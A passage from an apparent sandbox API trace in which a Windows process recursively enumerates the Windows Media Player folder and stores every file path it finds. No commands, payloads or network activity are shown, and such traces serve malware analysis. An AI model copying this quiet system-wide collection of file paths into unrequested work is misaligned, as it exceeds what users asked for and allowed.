Player\\Icons\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*" [0120.384] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0120.384] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.384] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.384] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.384] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.384] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0120.384] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0120.384] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.384] lstrcmpW (lpString1="Media Renderer", lpString2=".") returned 1 [0120.384] lstrcmpW (lpString1="Media Renderer", lpString2="..") returned 1 [0120.384] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.384] lstrlenW (lpString="Media Renderer") returned 14 [0120.384] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Media Renderer" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer" [0120.384] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\" [0120.384] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0120.384] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*" [0120.384] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0120.400] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.400] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.400] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.400] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.400] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.400] lstrcmpW (lpString1="avtransport.xml", lpString2=".") returned 1 [0120.400] lstrcmpW (lpString1="avtransport.xml", lpString2="..") returned 1 [0120.400] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0120.400] lstrlenW (lpString="avtransport.xml") returned 15 [0120.400] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0120.400] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned 74 [0120.400] lstrcpyW (in: lpString1=0x24a8148, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0120.400] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.400] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1 [0120.400] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1 [0120.400] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0120.400] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0120.400] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0120.400] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned 84 [0120.400] lstrcpyW (in: lpString1=0x24a81e8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0120.400] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.400] lstrcmpW (lpString1="DMR_120.jpg", lpString2=".") returned 1 [0120.400] lstrcmpW (lpString1="DMR_120.jpg", lpString2="..") returned 1 [0120.400] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0120.400] lstrlenW (lpString="DMR_120.jpg") returned 11 [0120.400] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0120.400] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 70 [0120.400] lstrcpyW (in: lpString1=0x24a82a0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0120.400] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.400] lstrcmpW (lpString1="DMR_120.png", lpString2=".") returned 1 [0120.400] lstrcmpW (lpString1="DMR_120.png", lpString2="..") returned 1 [0120.400] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0120.400] lstrlenW (lpString="DMR_120.png") returned 11 [0120.401] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0120.401] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 70 [0120.401] lstrcpyW (in: lpString1=0x24a8338, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0120.401] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.401] lstrcmpW (lpString1="DMR_48.jpg", lpString2=".") returned 1 [0120.401] lstrcmpW (lpString1="DMR_48.jpg", lpString2="..") returned 1 [0120.401] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0120.401] lstrlenW (lpString="DMR_48.jpg") returned 10 [0120.401] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0120.401] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 69 [0120.401] lstrcpyW (in: lpString1=0x24a83d0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0120.401] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.401] lstrcmpW (lpString1="DMR_48.png", lpString2=".") returned 1 [0120.401] lstrcmpW (lpString1="DMR_48.png", lpString2="..") returned 1 [0120.401] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0120.401] lstrlenW (lpString="DMR_48.png") returned 10 [0120.401] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0120.401] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 69 [0120.401] lstrcpyW (in: lpString1=0x24a8468, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0120.401] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.401] lstrcmpW (lpString1="RenderingControl.xml", lpString2=".") returned 1 [0120.401] lstrcmpW (lpString1="RenderingControl.xml", lpString2="..") returned 1 [0120.401] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0120.401] lstrlenW (lpString="RenderingControl.xml") returned 20 [0120.401] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0120.401] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned 79 [0120.401] lstrcpyW (in: lpString1=0x24a8500, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0120.401] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0120.401] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0120.402] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.402] lstrcmpW (lpString1="mpvis.DLL", lpString2=".") returned 1 [0120.402] lstrcmpW (lpString1="mpvis.DLL", lpString2="..") returned 1 [0120.402] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.402] lstrlenW (lpString="mpvis.DLL") returned 9 [0120.402] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0120.402] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned 53 [0120.402] lstrcpyW (in: lpString1=0x24a0c90, lpString2="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0120.402] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.402] lstrcmpW (lpString1="Network Sharing", lpString2=".") returned 1 [0120.402] lstrcmpW (lpString1="Network Sharing", lpString2="..") returned 1 [0120.402] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.402] lstrlenW (lpString="Network Sharing") returned 15 [0120.402] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Network Sharing" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing" [0120.402] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\" [0120.402] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned 60 [0120.402] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*" [0120.402] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0120.417] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.417] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.417] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.417] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.417] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0120.417] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0120.417] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.417] lstrcmpW (lpString1="routing.exe", lpString2=".") returned 1 [0120.417] lstrcmpW (lpString1="routing.exe", lpString2="..") returned 1 [0120.417] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.417] lstrlenW (lpString="routing.exe") returned 11 [0120.418] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0120.418] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned 55 [0120.418] lstrcpyW (in: lpString1=0x24a0d08, lpString2="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0120.418] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.418] lstrcmpW (lpString1="setup_wm.exe", lpString2=".") returned 1 [0120.418] lstrcmpW (lpString1="setup_wm.exe", lpString2="..") returned 1 [0120.418] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.418] lstrlenW (lpString="setup_wm.exe") returned 12 [0120.418] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0120.418] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned 56 [0120.418] lstrcpyW (in: lpString1=0x24a5bf8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0120.418] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.418] lstrcmpW (lpString1="Skins", lpString2=".") returned 1 [0120.418] lstrcmpW (lpString1="Skins", lpString2="..") returned 1 [0120.418] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.418] lstrlenW (lpString="Skins") returned 5 [0120.418] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Skins" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins" [0120.418] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\" [0120.418] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0120.418] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*" [0120.418] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0120.418] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.418] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.418] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.418] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.418] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.418] lstrcmpW (lpString1="Revert.wmz", lpString2=".") returned 1 [0120.418] lstrcmpW (lpString1="Revert.wmz", lpString2="..") returned 1 [0120.418] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0120.418] lstrlenW (lpString="Revert.wmz") returned 10 [0120.418] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0120.418] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned 60 [0120.418] lstrcpyW (in: lpString1=0x24a2540, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0120.418] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0120.418] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0120.418] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.418] lstrcmpW (lpString1="Visualizations", lpString2=".") returned 1 [0120.418] lstrcmpW (lpString1="Visualizations", lpString2="..") returned 1 [0120.418] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.418] lstrlenW (lpString="Visualizations") returned 14 [0120.418] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Visualizations" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations" [0120.419] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\" [0120.419] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned 59 [0120.419] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*" [0120.419] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0120.419] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.419] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.419] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.419] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.419] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0120.419] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0120.419] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.419] lstrcmpW (lpString1="wmlaunch.exe", lpString2=".") returned 1 [0120.419] lstrcmpW (lpString1="wmlaunch.exe", lpString2="..") returned 1 [0120.419] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.419] lstrlenW (lpString="wmlaunch.exe") returned 12 [0120.419] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0120.419] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned 56 [0120.419] lstrcpyW (in: lpString1=0x24a5c78, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0120.419] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.419] lstrcmpW (lpString1="wmpconfig.exe", lpString2=".") returned 1 [0120.419] lstrcmpW (lpString1="wmpconfig.exe", lpString2="..") returned 1 [0120.419] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.419] lstrlenW (lpString="wmpconfig.exe") returned 13 [0120.419] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0120.419] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned 57 [0120.419] lstrcpyW (in: lpString1=0x24a5cf8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0120.419] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.419] lstrcmpW (lpString1="WMPDMC.exe", lpString2=".") returned 1 [0120.419] lstrcmpW (lpString1="WMPDMC.exe", lpString2="..") returned 1 [0120.419] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.419] lstrlenW (lpString="WMPDMC.exe") returned 10 [0120.419] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0120.419] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned 54 [0120.419] lstrcpyW (in: lpString1=0x24a0d80, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0120.419] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.419] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2=".") returned 1 [0120.419] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2="..") returned 1 [0120.419] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.419] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0120.419] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0120.419] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned 58 [0120.419] lstrcpyW (in: lpString1=0x24a5d78, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0120.420] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.420] lstrcmpW (lpString1="wmpenc.exe", lpString2=".") returned 1 [0120.420] lstrcmpW (lpString1="wmpenc.exe", lpString2="..") returned 1 [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.420] lstrlenW (lpString="wmpenc.exe") returned 10 [0120.420] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned 54 [0120.420] lstrcpyW (in: lpString1=0x24a0df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0120.420] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.420] lstrcmpW (lpString1="wmplayer.exe", lpString2=".") returned 1 [0120.420] lstrcmpW (lpString1="wmplayer.exe", lpString2="..") returned 1 [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.420] lstrlenW (lpString="wmplayer.exe") returned 12 [0120.420] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned 56 [0120.420] lstrcpyW (in: lpString1=0x24a5df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0120.420] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.420] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2=".") returned 1 [0120.420] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2="..") returned 1 [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.420] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0120.420] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned 63 [0120.420] lstrcpyW (in: lpString1=0x24a25c8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0120.420] FindNextFileW (in: 